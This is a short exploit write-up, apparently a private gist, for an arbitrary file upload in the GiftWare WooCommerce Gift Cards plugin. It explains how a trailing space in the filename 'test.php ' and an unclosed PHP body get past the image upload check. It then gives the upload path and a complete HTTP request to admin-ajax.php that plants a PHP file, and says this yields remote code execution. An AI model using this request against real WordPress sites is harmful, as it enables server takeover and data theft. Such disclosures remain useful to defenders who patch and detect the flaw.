bc0d3 / **Gift-Ware-Exploit.md** Secret

Created 2 years ago

Gift-Ware-Exploit.md

giftware-woocommerce-gift-cards

URL : https://makewebbetter.com/product/giftware-woocommerce-gift-cards/

Modul: Custom GiftCard Template

POC Description

When the "Custom Gift Card Template" function is found in the option to upload image files, when uploading an image, a space must be added in the name of the extension, remaining as follows (variable filename):

```
Content-Disposition: form-data; name="file"; filename="test.php "
```

then in the same payload you have to create a php code that does not end with " ?> " you have to comment " /** ", then the request is sent and the file is uploaded with the name that was given previously.

In the directory where your file is uploaded is:

```
/wp-content/uploads/cgc_own_img/{filename}.php
```

Then if you have imagination you have the RCE

Poc:

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: es-CL,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary---------------------------1xxxxxxxxxxxxxxxxxxxxxxxxxx
Content-Length: 403
Origin: https://localhost.com
DNT: 1
Connection: close
Referer: https://localhost.com


-----------------------------1xxxxxxxxxxxxxxxxxxxxxxxxxx
Content-Disposition: form-data; name="file"; filename="test.php "
Content-Type: image/jpeg

Poc:
<?php
echo 'Test';

/**
{anycontent}
-----------------------------1xxxxxxxxxxxxxxxxxxxxxxxxxx
Content-Disposition: form-data; name="action"

mwb_cgc_upload_own_img
-----------------------------1xxxxxxxxxxxxxxxxxxxxxxxxxx
```